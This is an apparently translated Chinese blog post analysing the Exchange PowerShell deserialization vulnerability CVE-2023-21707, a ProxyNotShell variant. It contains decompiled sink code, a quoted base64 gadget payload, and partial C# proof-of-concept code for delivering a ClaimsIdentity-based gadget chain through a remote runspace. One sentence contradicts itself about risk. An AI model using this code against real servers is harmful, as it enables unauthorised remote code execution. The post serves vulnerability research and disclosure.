Microsoft Exchange PowerShell远程反序列化漏洞导致远程代码执行(CVE-2023-21707)

本文详细分析了Microsoft Exchange中通过PowerShell远程反序列化漏洞导致远程代码执行的技术细节,包括漏洞原理、Payload构造和利用方法,涉及BinaryFormatter、ClaimsIdentity等关键技术点。

Microsoft Exchange PowerShell远程反序列化导致RCE(CVE-2023-21707)

引言

在分析CVE-2022-41082(又称ProxyNotShell)时,我们发现了此漏洞。为了全面理解,我们强烈建议阅读ZDI团队的详细分析。

以下是CVE-2022-41082的视觉表示:

ProxyNotShell的sink:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
    //...
    Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
    if (null != targetTypeForDeserialization)
    {
        Exception ex = null;
        try
        {
            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
        }
    //...
}

在[2]处,如果targetTypeForDeserialization != null,它将调用LanguagePrimitives.ConvertTo()将原始obj转换为targetTypeForDeserialization指定的类型。

LanguagePrimitives.ConvertTo()方法在论文《Friday the 13th JSON Attacks》的PSObject gadget部分被引用。论文还讨论了几种利用此方法的方法:

  • 调用带1个参数的构造函数
  • 调用setter
  • 调用静态方法"Parse(string)" [方法3]
  • 调用自定义转换 [方法4]

CVE-2022-41082漏洞涉及使用LanguagePrimitives.ConvertTo()两次,采用不同方法。

第一次使用利用[方法4]重建XamlReader类型。为此,使用自定义转换方法Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject(),该方法使用带有白名单的BinaryFormatter反序列化数据。如果反序列化类型恰好是System.Type,目标类型将是System.UnitySerializationHolder,它也在白名单上。

第二次,该过程使用[方法3]启动对静态方法XamlReader.Parse(string)的调用,随后触发远程代码执行(RCE)漏洞。请注意,XamlReader是从步骤1获取的反序列化类型。

CVE-2022-41082的最新补丁引入了新的UnitySerializationHolderSurrogateSelector,它在反序列化System.UnitySerializationHolder过程中验证目标类型。因此,不再可能利用此漏洞调用Type.Parse(string)。此修复有效降低了恶意行为者利用漏洞执行任意代码的风险。

新变种

深入研究LanguagePrimitives.ConvertTo()的[方法3],Exchange实现了自定义PowerShell类型转换:SerializationTypeConverter,方法SerializationTypeConverter.ConvertFrom()将直接调用DeserializeObject [3]:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
    return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
    {
        throw ex;
    }
    //...
    using (MemoryStream memoryStream = new MemoryStream(array))
    {
        AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
        try
        {
            int tickCount = Environment.TickCount;
            obj = this.Deserialize(memoryStream); //[5]
        //...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
    PSObject psobject = sourceValue as PSObject;
    //...
    object value = psobject.Properties["SerializationData"].Value; //[6]
    if (!(value is byte[]))
    {
        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
        return false;
    }
    //...
    stringValue = psobject.ToString();
    serializationData = value as byte[];
    
}
        
internal object Deserialize(MemoryStream stream)
{
    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}

在DeserializeObject中,方法CanConvert()将从原始PSObject获取SerializationData属性作为字节数组,如[6]所示,然后直接传递到SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize(),如[7]所示。

在ProxyNotShell的Payload中,SerializationData表示如下:

1
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

通过使用白名单SerializationTypeConverter.allowedTypes(包含约1200个允许类型),可以防止反序列化到远程代码执行(RCE)。

仔细检查此白名单后,发现了41082的新变种,命名为CVE-2023-21707。白名单中的一个允许类型是Microsoft.Exchange.Security.Authentication.GenericSidIdentity。通过利用此白名单并包含特定允许类型,可以显著降低反序列化到RCE的风险。

GenericSidIdentity的继承树:

1
2
3
4
GenericSidIdentity
    ClientSecurityContextIdentity
        System.Security.Principal.GenericIdentity
            System.Security.Claims.ClaimsIdentity <---

如果您有.NET反序列化的经验,您会很快识别出ClaimsIdentity类。此类包含在著名工具ysoserial.net的gadget链中。

Microsoft.Exchange.Security.Authentication.GenericSidIdentity是ClaimsIdentity的子类。在反序列化过程中,首先重建ClaimsIdentity对象,然后调用ClaimsIdentity.OnDeserializedMethod()。

这提供了利用机会,因为我们可以滥用此行为在第二次反序列化阶段触发RCE。

Payload传递

尽管底层bug仍然存在,但ProxyNotShell补丁的实现已有效中和了先前在autodiscover入口点存在的SSRF漏洞。因此,先前的Payload发送方法不再可行。

经过几天的调查,我发现仍然可以远程访问/powershell入口点,但限制是仅限HTTP协议访问:

src: https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps

要以编程方式实现,我们可以使用WSManConnectionInfo和RunspaceFactory.CreateRunspace()建立到目标Exchange服务器的PowerShell会话:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);

wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;

this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();

之后,我们可以使用创建的runspace创建PowerShell会话并调用命令。要传递Payload,我们可以将其作为参数传递,如下所示:

1
2
3
4
5
6
7
8
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
    powerShell.Runspace = this.runspace;
    powerShell.AddCommand("get-mailbox");
    powerShell.AddArgument(payload);
    powerShell.Invoke();
}

一个重要方面是PowerShell.AddArgument(object)函数可以接受任何对象作为参数。

此步骤类似于在ProxyNotShell中制作Payload的过程,但我们以编程方式进行。通过使用此函数,我们可以动态地向PowerShell命令添加参数,这为我们的方法提供了更大的灵活性和定制性。

Payload类内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
using System;
public class Payload: Exception
{
    private byte[] _serializationData;

    public byte[] SerializationData
    {
        get => _serializationData;
        set => _serializationData = value;
    }

    public Payload(byte[] serializationData)
    {
        SerializationData = serializationData;
    }
}

为确保正常功能,此类必须继承System.Exception类型,如本文详细解释。此外,类中必须包含名为SerializationData的公共属性,它将作为绕过gadgetchain GenericSidIdentity的容器。

为此,我们生成一个GenericSidIdentity对象,并将其m_serializedClaims字段值设置为实际的RCE gadgetchain,可以通过ysoserial创建。

虽然有多种方法可以实现此目的,但在我的概念证明中,我选择创建一个继承自GenericIdentity的新类:

并使用自定义序列化绑定器在序列化期间重写类名:

为了成功执行漏洞利用,需要满足某些先决条件:

  • 攻击者的机器应能够访问目标Exchange服务器的端口80。
  • PowerShell入口点的身份验证方法必须是Kerberos(而不是NTLM),需要在运行漏洞利用时访问域控制器的端口88。

请注意,由于技术限制,此漏洞利用对于面向互联网的Exchange服务器不可行。

以下图像详细说明了成功的代码利用,包括执行证明和有关结果调用堆栈的信息。

感谢阅读!

演示

参考文献

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计